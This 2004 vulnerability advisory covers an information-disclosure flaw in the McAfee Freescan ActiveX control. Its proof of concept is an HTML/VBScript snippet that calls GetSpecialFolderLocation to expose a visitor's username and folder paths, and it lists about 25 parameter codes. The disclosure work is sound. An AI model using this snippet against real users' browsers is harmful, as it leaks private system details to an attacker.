McAfee Freescan ActiveX Information Disclosure [Additional Details & PoC]
__________________________________
Do you Yahoo!?
Yahoo! Small Business $15K Web Design Giveaway
http://promotions.yahoo.com/design_giveaway/
McAfee Freescan ActiveX Information Disclosure [Additional Details & PoC]
-------------------------------------------------------------------------
I. ABSTRACT:
McAfee Freescan is an online ActiveX based Antivirus utility.
II. DESCRIPTION:
I've been working on an information disclosure vulnerability in McAfee Freescan
for a few days. However, Rafel Ivgi disclosed it publicly on 6th April 2004
[1]. I have a few additional details to add to his original advisory.
III. IMPACT:
Disclosure of sensitive information to an unauthorised attacker.
IV. TECHNICAL DETAILS:
As Rafel Ivgi has mentioned in his advisory, there is a vulnerable method "BSTR
GetSpecialFolderLocation(USERDEFINED eShellFolder)" which is provided by the
ActiveX Control "McFreeScan.CoMcFreeScan.1" with classid
"{EF791A6B-FC12-4C68-99EF-FB9E207A39E6}". This control is installed by the
above mentioned product when it is used for the first time.
When the vulnerable method is accessed with specific parameters, it discloses
sensitive information about the victim's computer to the attacker including the
current logged in username and the path of several "shell folders". Rafel, in
his advisory mentioned only two of the parameters but, according to my
research, several more parameters (about 25) are available which enable the
attacker to gather more information.
V. Proof of Concept:
There are about 25 parameters that the "GetSpecialFolderLocation" method can
take. This PoC lists all of them:
<OBJECT ID="MCFS" WIDTH=0 HEIGHT=0
CLASSID="CLSID:EF791A6B-FC12-4C68-99EF-FB9E207A39E6"></OBJECT>
<script language=vbscript>
sPath = MCFS.GetSpecialFolderLocation(&H0000)
'Gets the path for the desktop folder.
document.write(sPath)
'The Available parameters for the method and their return values:
'
'&H0000=desktop
'&H0002=%username%start menu/programs
'&H0005=%username%/my documents
'&H0006=%username%/favorites
'&H0007=%username%start menu/programs/startup
'&H0008=%username%/recent
'&H0009=%username%/sendto
'&H0010=%username%/desktop
'&H0013=%username%/nethood
'&H0014=%windir%/fonts
'&H0015=%username%/templates
'&H0016=all users/start menu
'&H0017=all users/start menu/programs
'&H0018=all users/start menu/programs/startup
'&H0019=all users/desktop
'&H0020=%username%/Local Settings/Temporary Internet Files
'&H0021=%username%/cookies
'&H0022=%username%/local settings/history
'&H0023=All Users/Application Data
'&H0024=%windir%
'&H0025=%windir%/system32
'&H0026=%programfiles%
'&H0027=%username%/My Documents/My Pictures
'&H0028=%username%
'&H0029=%windir%
</script>
V. DISCLAIMER:
This advisory is meant only for the dissemination of information, alerting the
general public about a security issue. Use this information at your own
discretion.
In brief, the author is not responsible for any use, misuse, abuse of this
information. Also, this information is provided "as is" without any warranty of
any kind.
*PHEW*
EOF